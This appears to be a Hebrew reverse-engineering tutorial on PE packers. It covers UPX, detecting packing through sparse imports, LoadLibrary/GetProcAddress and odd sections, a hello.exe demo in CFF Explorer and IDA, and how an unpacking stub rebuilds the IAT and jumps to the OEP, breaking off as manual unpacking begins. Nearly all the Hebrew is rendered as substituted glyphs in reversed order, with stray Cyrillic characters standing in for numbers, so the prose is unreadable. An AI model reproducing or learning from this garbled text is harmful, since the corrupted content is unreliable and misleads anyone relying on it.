˸ˣ˵˧ˮ˩˦ ˸ˣ˲˯ˣˮ Σ˱˶˴˞ ˫˧˶ˣ˷˧˵ ˱ˣ˯˟ ˶ˬ˞ˬˢ Φό˶ˬ˞ˬ˟ ˢˤ ˡ˵ˬ˸˞ ˢ˵˧ˮ˩˦˟ ˸˧˲˧˴˲˯ ˸˞˶˵ˮˢ PackingΦ 

˪˩ ˰ˡ˧ˬˢ ˠ˴ˣˬˢ ˶ˬ˞ˬ˟ ˢˤ ˥ˣ˵˪ ˸ˣ˶ˣ˵ˬˬ ˫˧ˮˣ˷ ˫ˢ˧˪˞ ˭˟ˣˬ˩ ˱˶˴˞ ˶ˣ˷˧˵ Φ˸˶˦ˬ ˶ˬ˞ˬˢ ˞˧ˢ ˠ˧˴ˢ˪ 

˸˞ ˸˵˧ˮ˩˦ sπPacking ˵˲˯˪ˣ ˸ˣ˵˧ˮ˩˦ ˸ˣˡˡˣˬ˸ˢ˪ ˫˰ Packers ˫˧ˮˣ˷Φ ˧˲˩ ˧ˮ˞˷ ˢ˥˧ˮˬ ˶˟˩˷ ˫˸ˮ˟ˢ Σ

˶ˬ˞ˬˢ ˡ˵ˬ˸˧ ˟πPacking ˶˷˵ˢ˟ ˪˷ ˸˶˧˵˥ ˫˧ˮ˰ˠˣ˲ Φ˧ˡ˩ ˭˧˟ˢ˪ ˵ˬˣ˰˪ ˸˞ ˶ˬ˞ˬˢ ˷ˣ˶ˡ ˭ˣ˧˯˧ˮ ˰ˡ˧ˣ 

˧˯˧˯˟ ˸˶˧˵˥˟ ˫˧ˮ˰ˠˣ˲ Σ˸˶˩ˢˣ ˫˧ˠ˷ˣˬ ˣˬ˩ Υˢ˶˧˵˥ ˸˧˦˦˯ Σˢ˶˧˵˥ ˸˧ˬ˞ˮ˧ˡ Σˣˬ˩ˣ ˭˩ ˦˰ˬ ˸ˣ˶˩ˢ ˫˰ 

ˢˮ˟ˬ ˳˟ˣ˵ PE xπDebuggers Φ˶ˬ˞ˬ˟ ˞˪ ˵˲˯˞ ˶˟˯ˢ ˟˥˶ˮ ˫˧˥ˮˣˬ˪ ˣ˪˞ Σ˫˰ ˸˞ˤ ˱˶˴˞ ˫˧˶ˣ˷˧˵ ˱ˣ˯˟ 

˶ˬ˞ˬˢ ˣ˪˩ˣ˸˷ ˶ˤ˰˧ˢ˪ ˫ˢ˟Φ 

 

ˤ˞ ˢˬ ˢˤ PackerΚ 

˫˧˶˟ˡˬ˷˩ ˪˰ ˳˟ˣ˵ ˞ˣˢ˷ Packed ˫˧˶˟ˡˬ ˪˰ ˳˟ˣ˵ ˶˟˰˷ ˨˧˪ˢ˸ ˪˷ ˳ˣˣ˧˩ x˞ ˢˮ˲˴ˢ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ 

˫˸˧˶ˣˠ˪˞˟ ˫˧ˣ˯ˬ Σˢ˞˴ˣ˸˩ˣ ˨˩ˬ ˶˴ˣˮ ˳˟ˣ˵ ˷ˡ˥ ˪˰ ˵˯˧ˡˢ Σˢˮ˟ˬˢ˷ ˣ˪˷ ˢˮˣ˷ ˢˮ˟ˬˬ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ 

˪ˡˣˠˢˣ ˣ˪˷ ˭˦˵ ˶˸ˣ˧ Φ˨˧˪ˢ˸ sπPacking ˣˮ˧˞ ˰˧˲˷ˬ ˪˰ ˸˪ˣ˰˲ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ Σ˶ˬˣ˪˩ ˫˞ ˥˵˧ˮ ˳˟ˣ˵ 

˫˧˧ˣ˯ˬ ˳˧˶ˮˣ ˣ˧˪˰ ˸ˮ˩ˣ˸ Packing Σ˫ˠ ˧ˮ˲˪ ˫ˠˣ ˧˶˥˞ Σ˸˪ˣ˰˲ ˳˟ˣ˵ˢ ˢ˧ˢ˸ ˢˢˤ Σ˫˰ ˸˞ˤ ˧ˮ˷ ˫˧˴˟˵ˢ ˣ˞˶˧ 

ˢˮˣ˷ ˭˧˦ˣ˪˥˪ ˪˰ ˵˯˧ˡˢΦ 
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˨˧˞ ˢˤ ˞˟ ˧ˡ˧˪ ˧ˣ˦˧˟Κ 

˳˟ˣ˵ ˞ˣˢ˷ Packed ˪˧˩˧ ˸˞ ˫˧ˮ˧˧˲˞ˬˢ ˫˧˞˟ˢ x˞ ˵˪˥ ˡ˟˩ˮ ˫ˢˬΥ 

¶ ˶˲˯ˬ ˸ˣ˧˴˵ˮˣ˲ xπimportπ˫˧ ˫˧˦˰ˣˬ ύ˨˶ˡ˟ ˪˪˩ ˪ˣ˪˩˧ ˸˞ LoadLibrary xπGetProcAddress Φόˢ˟˧˯ˢ 

˨˩˪ ˞˧ˢ ˟˶˷ sπPackers ˫˧ˮˣ˟ ˸˞ ˸˪˟˦ sπimports ˪˷ ˳˟ˣ˵ˢ ˭ˬˤ˟ ˢ˴˧˶ Σˢˤ ˫ˠ ˢ˷˵ˬ ˪˰ ˶˵ˣ˥ˢ 

˭˧˟ˢ˪ ˢˤ˧˞˟ ˸ˣ˧˴˵ˮˣ˲ ˳˟ˣ˵ˢ ˷ˬ˸˷ˬ ˫ˠˣ ˶ˤˣ˰ ˦˰ˬ ˭˧˦˵ˢ˪ ˸˞ ˪ˡˣˠ ˳˟ˣ˵ˢΦ 

¶ ˳˟ˣ˵ˢ ˪˧˩˧ ˸ˣˬ˩ ˸ˣˤˣ˶˥ˬ ˢ˦˰ˣˬ Σ˭˩˸˧ ˫ˠ ˞˪˷ ˢ˞˶ˮ ˸ˣˤˣ˶˥ˬ ˸ˣ˧ˮˣ˧ˠˢ ˪˪˩Φ 

¶ ˳˟ˣ˵ˢ ˪ˣ˪˩˧ ˸ˣˬ˷ sectionπ˫˧ ˫˧ˮ˧˧˲˞ˬˢ Packers ˫˧˶˩ˣˬΦ 

¶ ˫˞ ˥˸˲ˮ ˸˞ ˳˟ˣ˵ˢ ˟πIDA ˪ˣ˩˧ ˡˣ˞ˬ ˸ˣ˧ˢ˪ ˞˧ˢ˷ ˰˧˶˸˸ ˣˮ˪ ˞˧ˢ˷ ˞˪ ˢ˥˧˪˴ˬ ˞ˣ˴ˬ˪ ˸˞ ˪˩ sπ

imports x˞ ˸ˬ˧˧˵˷ ˢ˧˰˟ ˫˰ sπsections Σ˱˯ˣˮ˟ ˷˩πIDA ˭˰˦˸ ˸˞ ˸˧ˮ˩ˣ˸ˢ ˢ˞˶ˮ ˸ˣˬ˩˷ ˡˣ˵ˢ 

ˢ˸ˢˣˤ˷ ˞˧ˢ ˸˧˯˥˧ ˢˮ˦˵Φ 

ˢˮ˧˥˟ ˪˷ ˫˧ˮ˧˧˲˞ˬ ˣ˪˞ ˶ˣˤ˰˸ ˣˮ˪ ˪˟˵˪ ˢ˧˴˵˧ˡˮ˧˞ ˫˞ˢ ˳˟ˣ˵ˢ ˞ˣˢ Packed x˞ ˞˪ Φ˫˧ˬ˧˧˵ ˫ˠ ˫˧˪˩ 

˫˧˧˦ˬˣ˦ˣ˞ ˫˧˪ˠˣ˯ˬˢ ˸ˣˢˤ˪ ˫˞ˢ ˳˟ˣ˵ ˞ˣˢ Packed ˱˞ˣ ˶˧ˤ˥ˢ˪ ˸˞ ˫˷ sπPacker x˟ ˣ˷ˬ˸˷ˢ ˫˞ ˶˟ˣˡˬ 

π˟Packer ˶˩ˣˬ Φˢˬˠˣˡ ˧˪˩˪ ˢˤ˩˷ ˞ˣˢ peidΦ 

ˢˬˠˡˢ 

˧ˡ˩ ˭˧˟ˢ˪ ˫˧˶˟ˡ ˡ˰ ˱ˣ˯ˢ ˧˩ˢ ˟ˣ˦ ˢˤ ˸ˣ˞˶˪ ˫˧˧ˮ˧˰˟ Σ˭˩˪ ˠ˧˴˞ ˢ˞ˣˣ˷ˢ ˭˧˟ ˳˟ˣ˵ ˞ˣˢ˷ Packed ˳˟ˣ˵˪ 

˞ˣˢ˷ ˞˪ Packed ˢ˞˶ˮˣ ˫˧˧ˮ˧˰˟ ˵˪˥ ˫˧˪ˡ˟ˢˢˬ ˭˧˟ ˫˧˴˟˵ˢΦ 

˫˧˪˩ ˨˧˶˴˷ ˶˧˩ˢ˪ 

˸ˠ˴ˢ˟ ˢˬˠˣˡˢ ˷ˬ˸˷˞ ˫˧˪˩˟ upx xπcff Φ˭˪ˢ˪ ˶˟˯ˢ ˶˴˵ ˪˰ ˧ˮ˷ ˫˧˪˩ˢ ˮˢϦ˪Φ 

upxπ ˞ˣˢ Packer ˪˵ ˷ˣˬ˧˷˪ xπopen source ˢˬ ˨˲ˣˢ˷ ˣ˸ˣ˞ ˡ˥˞˪ sπPackers ˫˧˴ˣ˲ˮˢ ˶˸ˣ˧˟ ˫ˣ˧˩Φ 

cff π ˞˧ˢ ˢˮ˩ˣ˸ ˸ˠ˴ˢ˪ ˧˴˟˵ PE ˢ˶ˣ˴˟ ˸˴˵ ˶˸ˣ˧ ˢ˵˧ˬ˰ˬ Φˢˮ˩ˣ˸ˢ ˸˶˯˶˲ˬ ˵˪˥ ˢˮ˟ˬˬ sπPE ˢˠ˧˴ˬˣ 

˸˞ ˰ˡ˧ˬˢ ˶ˬ˷ˮˢ x˟ ˢ˶ˣ˴˟ ˢ˞˧˶˵ ˢ˥ˣˮˣ ˶˸ˣ˧ ˷ˬ˸˷ˬ˪ Φˢˬˠˣˡ˪ Σ˸ˣ˰˴ˬ˞˟ ˢˮ˩ˣ˸ˢ ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ 

˸˪˟˦ sπimports ˪˷ ˳˟ˣ˵ˢ Σ˸˞ sπsections ˫˧ˬ˧˧˵ˢ ˳˟ˣ˵˪ ˰ˡ˧ˬˣ ˪˰ sπheaders ˫ˢ˪˷ ˧˪ˣ˩ˣ ˧˪ˣ˩ˣΦ 

ˤ˞ ˷ˠ˧ˮ ˢˬˠˣˡ˪ Σ˳˟ˣ˵ˢ ˫˧ˠˡ˞˷ ˣ˧˪˰ ˢ˧ˢ˧ ˳˟ˣ˵ ˧˸˟˸˩˷ ˟πc ˪˩˷ ˣ˸˶˦ˬ ˞˧ˢ ˯˧˲ˡˢ˪ ˨˯ˬ˪ ϦHello 

World ΣϦ˞˶˵ˮ x˪ hello.exe Φ˶˥˞˪ ˭˩ˬ ˧˸˥˵˪ ˸˞ ˳˟ˣ˵ˢ hello.exe ˧˸˧˷˰ˣ x˪ Pack ˸ˣ˰˴ˬ˞˟ Packer 

˫˷˟ upx ˧˸˶ˬ˷ˣ ˣ˸ˣ˞ ˩πhello_upx.exe Φ 

˶˥˞˪ ˧˸˶ˬ˷˷ ˸˞ ˧ˮ˷ ˫˧˴˟˵ˢ ˥˸˲˞ ˫˸ˣ˞ ˟πcff ˢ˶˦ˬ˟ ˪˩˸˯ˢ˪ ˪˰ ˢˮ˟ˬ ˳˟ˣ˵ˢ ˸ˣ˞˶˪ˣ ˣ˪˧˞ ˫˧˧ˣˮ˧˷ 

˫˧ˬ˧˧˵ ˧ˮ˟ˬ˟ ˫˧˴˟˵ˢΦ 
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hello.exe 

˪˧˥˸ˮ ˪˩˸˯ˢ˪˟ ˪˰ sπimports ˪˷ hello.exeΥ 

 

˪˩ˣˮ ˸ˣ˞˶˪ ˷˧˷ ˳˟ˣ˵˪ ˧˸˷ ˸ˣ˧˶˲˯Υ kernel32.dll ˸˞˟˧˧ˬˢ мо ˸ˣ˧˴˵ˮˣ˲ xπmsvcrt.dll ˸˞˟˧˧ˬˢ оп 

˸ˣ˧˴˵ˮˣ˲Φ

 

˨˧˷ˬˮ ˪˩˸˯ˮˣ ˪˰ sπsections ˪˷ hello.exe Σ˭˸˧ˮ ˸ˣ˞˶˪ ˳˟ˣ˵˪˷ ˫˧ˬ˧˧˵ sections ˫˧ˮˣ˷ text ,data ,rdata 

ˣ˩ˣ'Φ 
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hello_upx.exe 

˭˥˟ˮ ˸˞ ˫˸ˣ˞ ˫˧ˮ˧˧˲˞ˬˢ ˫ˠ ˳˟ˣ˵˟ hello_upx.exe Φ˪˩˸˯ˮ ˪˰ sπimports ˪˷ ˳˟ˣ˵ˢΥ 

 

˪˩ˣˮ ˸ˣ˞˶˪ ˧˩ ˳˟ˣ˵˟ sπPacked ˸ˣˬ˧˧˵ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣ˥˲ ˸ˣ˧˴˵ˮˣ˲ Σ˨˯ ˪˩ˢ р ˸ˣ˧˴˵ˮˣ˲ ˸ˬˣ˰˪ пт 

˸ˣ˧˴˵ˮˣ˲ ˳˟ˣ˵˟ ˶ˣ˵ˬˢ Φ˱˯ˣˮ˟ ˭˸˧ˮ ˸ˣ˞˶˪ ˫˧˧˸˷˷ ˭˧˟ˬ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣ˞˟ˣ˧ˬˢ :˭ˢ GetProcAddress x-

LoadLibraryΥ
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˪˩˸˯ˮ ˫ˠ ˭˞˩ ˪˰ sπsections ˪˷ ˳˟ˣ˵ˢ Σ˪˩ˣˮ ˸ˣ˞˶˪ ˢ˷πsections ˫˧˦˶ˡˮ˦˯ˢ ύtextΣdata  πrdata ό˞˪ 

˫˧ˬ˧˧˵ ˳˟ˣ˵˟ sπPacked ˨˞ ˭˩˷ ˫˧ˬ˧˧˵ sections ˫˧˶˥˞ ˫˧ˢˣˤˬˢ ˫˰ upxΦ 

ˡˣ˰ ˢ˦ˣˡ˵ˮ˞ Σ˫˞ ˪˩˸˯ˮ ˪˰ ˪ˡˣˠˢ ˪˷ UPX0 ˪˩ˣˮ ˸ˣ˞˶˪ ˢ˷πvirtual size ˪ˣˡˠ ˢˬπraw size Φπsraw size 

ˢˤ ˪ˡˣˠˢ ˶ˣˬ˷˷ ˪˰ ˵˯˧ˡˢ sxπvirtual size ˢˤ ˪ˡˣˠˢ ˨˧˶˴˷ ˸ˣ˴˵ˢ˪ ˶ˣ˟˰ sπsection ˮˢϦ˪ ˭ˣ˶˩˧ˤˢ Φ˪ˡ˟ˢ 

˧˸ˣ˰ˬ˷ˬ ˪ˡˣˠ˟ ˪ˣ˩˧ ˡ˧˰ˢ˪ ˪˰ ˨˩ ˷˧˷ ˢ˟˶ˢ ˰ˡ˧ˬ ˪˟˵˸ˬ˷ ˢ˶ˣ˴˟ ˸˧ˬ˞ˮ˧ˡΦ ˱˯ˣˮ˟ Σ˫˞ ˵ˣ˶ˤˮ ˸˞ 

˳˟ˣ˵ˢ ˪πIDA ˞˧ˢ ˳˧˲˵˸ ˣˮ˪ ˢ˰ˡˣˢ ˨˯ˬ˪Υ 

 

ˤ˞ ˣˮ˧˞˶ ˫˧˧˵˷ ˪ˡ˟ˢ ˧˸ˣˢˬ ˭˧˟ ˳˟ˣ˵ˢ sπPacked ˳˟ˣ˵˪ ˧˶ˣ˵ˬˢ Φ˧˶˥˞ ˣˮ˟ˢ˷ ˸˞ ˸ˣ˰˲˷ˢˢ ˪˰ˣ˲˟ ˪˷ 

˨˧˪ˢ˸ sπPacking ˨˧˞ˣ ˭s ˸ˣ˷˟˷ˬ ˸˞ ˨˧˪ˢ˸ ˢ˶˧˵˥ˢ Σˣ˞ˣ˟ ˶˟ˡˮ ˪˰ ˨˧˞ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˡˡˣˬ˸ˢ˪ ˫˰ 

˳˟ˣ˵ ˞ˣˢ˷ Packed ˢˬˣ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˷˰˪ ˪˰ ˸ˮˬ ˶˧ˤ˥ˢ˪ ˸˞ ˳˟ˣ˵ˢ ˢ˶ˣ˴˪ ˭˸˧ˮ˷ ˡˣ˟˰˪ ˢ˸˧˞Φ 

˧ˮ˞ ˸˶˟ˡˬ ˭˟ˣˬ˩ ˪˰ ˨˧˪ˢ˸ sπUnpackingΦ 

 

Unpacking Internals 

˨˧˪ˢ˸ sπUnpacking ύ˧˲˩ ˧ˮ˞˷ ˢˮ˧ˬ˞ˬ ˶˟˩˷ ˫˸ˮ˟ˢ ό˞ˣˢ ˨˧˪ˢ˸ˢ ˬ ˨ˣ˲ˢˢπPacking ΦπsUnpacking 

ˢ˶ˣ˵ ˭ˬˤ˟ ˸˴˧˶ ˳˟ˣ˵ˢ sπPacked ˶˷˞˩ ˞ˣˢ ˭˰˦ˮ ˭ˣ˶˩˧ˤ˪ ˞ˣˢˣ ˰˴˟˸ˬ ˪˰ ˧ˡ˧ ˰˦˵ ˡˣ˵ ˞˶˵ˮˢ 

Unpacking stub ΦπsUnpacking stub ˫˴˰˟ ˰˴˟ˬ ˸˞ ˫˸˧˶ˣˠ˪˞ˢ ˷˶ˡˮˢ ˪˰ ˸ˮˬ ˸ˣ˲ˬ˪ ˸˞ ˳˟ˣ˵ˢ 

˧˶ˣ˵ˬˢ ˭ˣ˶˩˧ˤ˪ ˨˩ ˢˮ˩ˣ˸ˢ˷ ˪˩ˣ˸ ˳ˣ˶˪ ˪˧ˠ˶˩ ˫˧ˮˣ˸ˮˢˣ ˢ˪˷ ύ˸ˣˤˣ˶˥ˬ Σ˫˧ˮ˸˷ˬ Σimports ˢˬˣˡ˩ˣ όˣ˧ˢ˧ 

˫˧˷˧ˠˮ ˷ˣˬ˧˷˪Φ 

ˣˮ˥ˮ˞˷˩ ˫˧˪˩˸˯ˬ ˪˰ ˡˣ˵ˢ ˪˷ ˳˟ˣ˵ ˞ˣˢ˷ Packed ˣˮ˥ˮ˞ ˫˴˰˟ ˫˧˪˩˸˯ˬ ˪˰ sπUnpacking stub ˞˪ˣ ˪˰ 

ˡˣ˵ˢ ˪˷ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ Φ˪˩ˣˮ ˶ˣ˵˥˪ ˸˞ ˡˣ˵ˢ ˧˶ˣ˵ˬˢ ˵˶ ˶˥˞˪ ˨˧˪ˢ˸˷ sπUnpacking ˫˧˧˸˯ˢ ˡˣ˵ˢˣ 

˳˪ˣ˥ ˣ˞ˣ˪ˬ˟ ˭ˣ˶˩˧ˤ˪ Σ˶ˬˣ˪˩ ˧˶˥˞ ˸˴˧˶ sπUnpacking stubΦ sπUnpacking stub ˡ˟ˣ˰ ˢ˷ˣ˪˷˟ ˫˧˟˪˷ 

˫˧˧ˤ˩˶ˬΥ 

¶ ˸ˮ˧˰˦ ˳˟ˣ˵ ˶ˣ˵ˬˢ ˭ˣ˶˩˧ˤ˪Φ 

¶ ˶ˣˡ˧˯ ˢ˧ˮ˟ˣ ˷ˡ˥ˬ ˪˷ ˸˪˟˦ sπImportsΦ 

¶ ˸˶˟˰ˢ ˢ˦˧˪˷ ˪πentry point ˪˷ ˸˧ˮ˩ˣ˸ˢ ˸˧˶ˣ˵ˬˢΦ 
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˸ˮ˧˰˦ ˳˟ˣ˵ ˶ˣ˵ˬˢ ˭ˣ˶˩˧ˤ˪ 

ˢ˪˧˥˸ sπUnpacking stub ˰˴˟ˬ ˸˞ ˫˸˧˶ˣˠ˪˞ˢ ˷ˣ˶ˡˢ ˪˰ ˸ˮˬ ˳˪˥˪ ˸˞ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ˭ˣ˶˩˧ˤ˪ Φ

˫˸˧˶ˣˠ˪˞ˢ ˭˟ˣˬ˩ ˢˮ˸˷ˬ ˭˧˟ Packer ˪πPacker ˪˟˞ ˪ˣˡˠ˟ sπUnpacking stub ˢ˴˵˧ ˭ˣ˶˩˧ˤ ˟ˣ˸˩˧ˣ ˣ˩ˣ˸˪ 

˸˞ ˭˩ˣ˸ˢ ˥ˮ˰ˣ˲ˬˢ Σ˞˪ˢ ˞ˣˢ ˳˟ˣ˵ ˶ˣ˵ˬˢΦ 

 

˸˧˧ˮ˟ ˸˪˟˦ sπimports 

˨ˣ˸˟ ˢˮ˟ˬˢ ˪˷ ˳˟ˣ˵ sπPE ˸˞˴ˬˮ ˫ˠ sπimport address table )x˞ ˶ˣ˴˧˵˟ sπIAT .(IAT ˞˧ˢ ˢ˪˟˦ 

˸ˮ˧˧˴ˬˢ ˣ˪˧˞˟ ˸ˣ˧˴˵ˮˣ˲ ˳˟ˣ˵ ˷ˬ˸˷ˬ ˢˤ˧˞ˬˣ ˢ˧˶˲˯ ˪˩ ˢ˧˴˵ˮˣ˲ ˸˞˟ˣ˧ˬ Φ˸˰˟ ˢˮ˧˰˦ˢ ˪˷ ˳˟ˣ˵ ˭ˣ˶˩˧ˤ˪ 

πsloader ˰ˡˣ˧ ˶˯˶˲˪ ˸˞ ˢ˪˟˦ˢ ˸˞ˤˢ ˳˟ˣ˵ˬ sπPE Σ˭ˣ˰˦˪ ˸˞ ˪˩ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣˬˣ˷˶˷ ˢ˪˟˦˟ ˸ˣ˲ˬ˪ˣ 

˶ˣ˟˰ ˪˩ ˢ˧˴˵ˮˣ˲ ˸˞ ˸˟ˣ˸˩ˢ ˢ˪˷ ˭ˣ˶˩˧ˤ˟ Φ˪˟˞ ˢˬ ˢ˶ˣ˵ ˣˮ˥ˮ˞˷˩ ˫˧˶˟ˡˬ ˪˰ ˳˟ˣ˵ Packed Κ 

˫˸˷˥˧ˮ ˭ˣ˩ˮ Σ˰ˡ˧ˬˢ ˸˪˟˦˟˷ sπIAT ˪˷ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ˞˪ ˷˧ˠˮ ˪πloader ˭ˣˣ˧˩ˬ ˞ˣˢ˷ Packed Φ˸˪˟˦ sπ

IAT ˢ˞˶ˮ˷ ˶ˣ˟˰ ˳˟ˣ˵ Packed ˸˯˥˧˧˸ˬ ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˷ˬ˷ˬˢ ˸˞ sπUnpacking stub ˶ˣ˟˰ ˰ˣ˴˧˟ ˸˪ˣ˰˲ 

πsUnpacking ˭ˢˣ ˪˪˩ ˞˪ ˸ˣ˩˧˧˷ ˳˟ˣ˵˪ ˶ˣ˵ˬˢΦ 

ˤ˞ ˧˶˥˞ ˢ˷πUnpacking stub ˭˰˦ ˭ˣ˶˩˧ˤ˪ ˸˞ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ Σˣ˧˷˩˰ ˭˩ ˢ˧ˢ˸ ˢ˷˧ˠ ˸˪˟˦˪ sπIAT Σ˟˪˷ˢ 

˞˟ˢ ˞ˣˢ ˞˪ˬ˪ ˸˞ ˢ˪˟˦ˢ ˸ˣ˟ˣ˸˩˟ ˸ˣ˧˦ˮˣˣ˪˶ˢ ˶ˣ˟˰ ˪˩ ˢ˧˴˵ˮˣ˲ ˢ˧˴˵ˮˣ˲ˣ Φ˨˶ˡ˟ ˪˪˩ ˢ˦˧˷ˢ ˸˥ˣˣ˶ˢ 

˞˧ˢ ˶ˣ˟˰ ˪˩ ˢ˧˴˵ˮˣ˲ Σ˶˧ˤ˥ˮ ˸˞ ˸˟ˣ˸˩ˢ ˢ˪˷ ˭ˣ˶˩˧ˤ˟ ˸ˣ˰˴ˬ˞˟ ˷ˣˬ˧˷  ˸ˣ˧˴˵ˮˣ˲˟LoadLibrary xπ

GetProcAddress ύxʕ ˢ˟˧˯ˢ ˟˶˷ sπPackers ˫˧˞˟˧˧ˬ ˸˞ LoadLibrary xπGetProcAddress ˦˰ˬ˩ˣ ˞˪ˣ 

˫˧˞˟˧˧ˬ ˱˞ ˢ˧˴˵ˮˣ˲ ˸˶˥˞ Σ˦˰ˬ˩ ˪˩ ˢˬ ˨˧˶˴˷ ˞˟ˣ˧ˬ ˢ˶ˣ˴˟ ˸˧ˬ˞ˮ˧ˡΦό 

 

jump to OEP 

OEP ˣ˸ˣ˰ˬ˷ˬ original entry point Φˢˮˣˣ˩ˢ ˞˧ˢ ˪πentry point ˪˷ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ύ˳˟ˣ˵ˢ˷˩ Packed sπ

entry point ˣ˪˷ ˞ˣˢ ˪πUnpacking stub Φό˧˶˥˞ ˳˟ˣ˵ˢ˷ ˧˶ˣ˵ˬˢ ˞˴ˬˮ ˭ˣ˶˩˧ˤ˟ ˸˪˟˦ˣ sπImports ˸˶ˡˣ˯ˬ 

˪˩ ˶˸ˣˮ˷ ˪πUnpacking stub ˞ˣˢ ˶˧˟˰ˢ˪ ˢ˦˧˪˷ ˪πOEP ˪˰ ˸ˮˬ ˡˣ˵˷ ˶ˣ˵ˬˢ ˪˩ˣ˧ ˪˧˥˸ˢ˪ ˳ˣ˶˪ Φˢ˞˶ˣˢ˪ 

ˢ˶˧˟˰ˬ˷ ˸˞ ˢ˦˧˪˷ˢ ˪πOEP ˠˣˢˮ ˞ˣ˶˵˪ jump tail Φπsjump tail ˨˶ˡ˟ ˪˪˩ ˢ˧ˢ˧ jmp ˸˟ˣ˸˩˪ ˭ˣ˶˩˧ˤ˟ 

ˢ˟˷ ˞˴ˬˮ sπOEP Σ˨˧˞ ˢ˸ˣ˞˟ ˢˡ˧ˬ xʕ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˞˶ˣˢ ˣˬ˩ call x˞ ret ύ˭˲ˣ˞˟ˣ ˧˪˪˩ ˪˩ ˢ˞˶ˣˢ 

ˢ˶˧˟˰ˬ˷ ˸˞ ˢ˴˶ˢˢ ˸˟ˣ˸˩˪ ˭ˣ˶˩˧ˤ ˸ˬ˧ˣ˯ˬΦό 
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˨˧˞ ˫˧˰˴˟ˬ UnpackingΚ 

˫˧˪˩ ˫˧˧˦ˬˣ˦ˣ˞ π ˫˞ ˷˧ ˣˮ˪ ˪ˤˬ ˳˟ˣ˵ˢˣ ˣˮ˥ˮ˞˷ ˫˧˶˵ˣ˥ ˞ˣˢ Packed ˸ˣ˰˴ˬ˞˟ Packer ˧˶˥˯ˬ ˶˩ˣˬύ Σ˪ˣ˩˧ 

˸ˣ˧ˢ˪ ˣˮ˧˪˧ˠ˷ ˸˞ˤ ˣˮˬ˴˰˟ ˸ˣ˰˴ˬ˞˟ ˢ˶˧˵˥ ˸˧˦˦˯ x˞ ˣˮ˷ˬ˸˷ˢ˷ ˧˪˩˟ peid ˞ˣˢˣ ˢˢ˧ˤ ˣˮ˪ ˸˞ ˫˷ sπ

Packer όˤ˞ ˪˩˩ ˢ˞˶ˮˢ ˫˧˧˵˷ ˧˟˥˶˟ ˦ˮ˶˦ˮ˧˞ˢ ˧˪˩ ˰ˡˣ˧˷ ˰˴˟˪ ˸˞ ˨˧˪ˢ˸ sπUnpacking ˣˮ˶ˣ˟˰ ˳˪˥˪ˣ 

ˣˮ˪ ˸˞ ˳˟ˣ˵ ˶ˣ˵ˬˢ Σˡˡ˧ˢ Ηˢˬˬ˞ Σ˫˞ ˧ˮ˞ ˱˵ˣ˸ ˫˩˥ˣ˸ˬ ˢ˴ˣ˶˷ ˰ˣˮˬ˪ ˶˵ˣ˥ˬ ˭ˬˣ˧ˬ ˭˧˟ˢ˪ ˢˬ ˳˟ˣ˵ˢ ˧˪˷ 

ˢ˷ˣ˰ Σ˶˧˟˯ ˞˪˷ ˷ˬ˸˷˞ ˟πPacker ˶˩ˣˬ ˧˦ˮ˶˦ˮ˧˞ˣ ˶ˣ˟˰ ˭˰ˠˣ˲ ˧˸˟˸˩˷ Φˢˬ ˧ˮ˞˷ ˭˩ ˢ˪ˣ˩˧ ˸ˣ˷˰˪ ˢˤ 

˟ˣ˸˩˪ ˸ˮ˩ˣ˸ Packing ˧˪˷ˬ Σ˫˰ ˫˸˧˶ˣˠ˪˞ ˧ˮ˞˷ ˧˸˞˴ˬˢ Σ˨˩ ˞˪˷ ˫˧˧˵ ˧˪˩ ˧ˮˣ˴˧˥ ˪ˣ˩˧˷ ˰˴˟˪ 

Unpacking ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ Φˢˬ ˭˸˧ˮ ˸ˣ˷˰˪ ˢ˶˵ˬ˟ ˢˤ˩ Κˢˤ ˪˧˟ˣˬ ˧˸ˣ˞ ˪˞ ˢˡˣ˵ˮˢ ˢ˧ˮ˷ˢManual 

UnpackingΦ 

 

Manual Unpacking 

ˢˮ˲ˮ ˪πManual Unpacking ˶˷˞˩ ˞˪ ˣˮ˥˪˴ˢ ˞ˣ˴ˬ˪ ˧˪˩ ˳˪˥ˬ˷ ˸˞ ˳˟ˣ˵ ˶ˣ˵ˬˢ ˣˮ˪˧˟˷˟ Φ˨˶ˡ˟ ˪˪˩ 

˪˵˸ˮ ˢ˶˵ˬ˟ ˢˤ˩ ˶˷˞˩ ˶˟ˣˡˬ ˟πPacker ˞˪ ˶˩ˣˬ ˦ˮ˶˦ˮ˧˞˟ ύˢˬˠˣˡ˪ Packer ˟˸˩ˮ˷ ˪˰ ˧ˡ˧ ˱˵ˣ˸ Φόπ˟

Manual Unpacking ˳ˣ˪˧˥ ˳˟ˣ˵ ˶ˣ˵ˬˢ ˰˴˟˸ˬ ˢ˶ˣ˴˟ ˞˧ˢ˷ ˸˧ˮˡ˧Φ 

˷˧ ˧˸˷ ˸ˣ˷˧ˠ ˸ˣ˧˶˵˧˰ ˟πManual Packing Φˢˮˣ˷˞˶ˢ Σ˶ˣ˵˥˪ ˸˞ ˳˟ˣ˵ˢ sπPacked Σ˸˞ˣ sπUnpacking 

stub ˸ˣ˯ˮ˪ˣ ˭˧˟ˢ˪ ˨˧˞ ˡ˟ˣ˰ ˫˸˧˶ˣˠ˪˞ˢ ˪˷ sπPacker Φ˫˞ ˣˮ˧˧ˢ ˵˧˲˯ˬ ˫˧ˬ˩˥ ˭˧˟ˢ˪ ˸˞ ˢˤ ˪˩ˣˮ ˟ˣ˸˩˪ 

